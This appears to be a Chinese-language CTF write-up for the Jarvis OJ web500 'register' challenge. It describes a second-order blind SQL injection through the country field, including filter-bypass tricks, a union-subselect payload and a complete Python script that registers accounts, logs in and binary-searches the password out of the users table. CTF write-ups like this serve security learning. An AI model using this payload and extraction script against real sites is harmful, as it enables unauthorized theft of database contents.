jarvis oj web500 register wp

原题目:http://web.jarvisoj.com:32796/ 这个应该是我做过的最难的注入题目吧。 首先审一下题目,其中有两个hint:

Hint1: 二次注入

Hint2: register 二次注入在country

进去看一下,只是一个login的网站,经过扫描器得到register.php,login.php,hacker.php,config.php···但是,这些都没啥用23333,主要页面是login.php以及register.php这两个,随便注册一个并登陆发现会有详情页,经过hint发现在?page=info下可以显示各种信息,有国家,时间,地址等,hint说二次注入点在country哪里,于是想到可以通过国家查询时间来进行二次注入。 先试一下,把国家改一下,果然时间跟现在时间对不上了,于是可以开始注入,不过貌似是盲注,通过测试发现一共有5个字段,于是可以编写payload:

china'or(select(ascii(substr(group_concat(c),%n))<=%c) from (select 1,2,3`c`,4,5 union(select database()))`b`) #

但是行不通emmm,好麻烦,在database等关键字被过滤的情况下只能进行猜解表名,得到表名为users之后开始盲注并且#也不了行,只能用重音符来做注释符。 于是我们整理一下思路:

1.先通过register来进行注入,登录后通过后在page=info中查看时间来证明注入是否成功,
2.过滤了information等关键字,但是猜解出表名为users
3.发现共有5个字段,并且密码在第三个字段中

综上,我们便可以编写脚本了

import re,requests,random

pay = "'or(select(mid(group_concat(c),%d)>=%s) from (select 1,2,3`c`,4,5 union(select*from(users)))`b`) #"

url = "http://web.jarvisoj.com:32796/"

def inject(payload):
    r = requests.session()
    id = random.random()
    id = int(id*10000000)
    data = {
        'username': "awrt%s" % (id),
        'password': "123",
        'address': '123',
        'country': payload
    }
    r.post(url+'register.php',data=data)
    data = {
        'username': "awrt%s" % (id),
        'password': "123",
    }
    r.post(url+'login.php',data=data)
    response = r.get(url+'index.php?page=info').content
    res = re.findall("Date: .*?</em>",response)[0].split("<em>")[1].split("</em>")[0][:-6]
    return res

def injects(n):
    global flag,time
    #for i in range(0,128):
    #    payload = pay%(n,hex(i))
    #    res = inject(payload)
    #    if time in res:
    #        return i-1
    #    else:
    #        continue
    low = 1
    up = 127
    while low<=up:
        mid = (low+up)/2
        payload = pay%(n,hex(mid))
        res = inject(payload)
        if time in res:
            up = mid-1
        else:
            low = mid+1
    return low-1


time = inject("'")
flag = ""

for i in range(1,10):
    a = injects(i)
    flag += chr(a)
    print i,flag

print flag

有个问题是暴力跑的时候太慢了,我就用二分法加快一点速度但是还是很慢啊23333.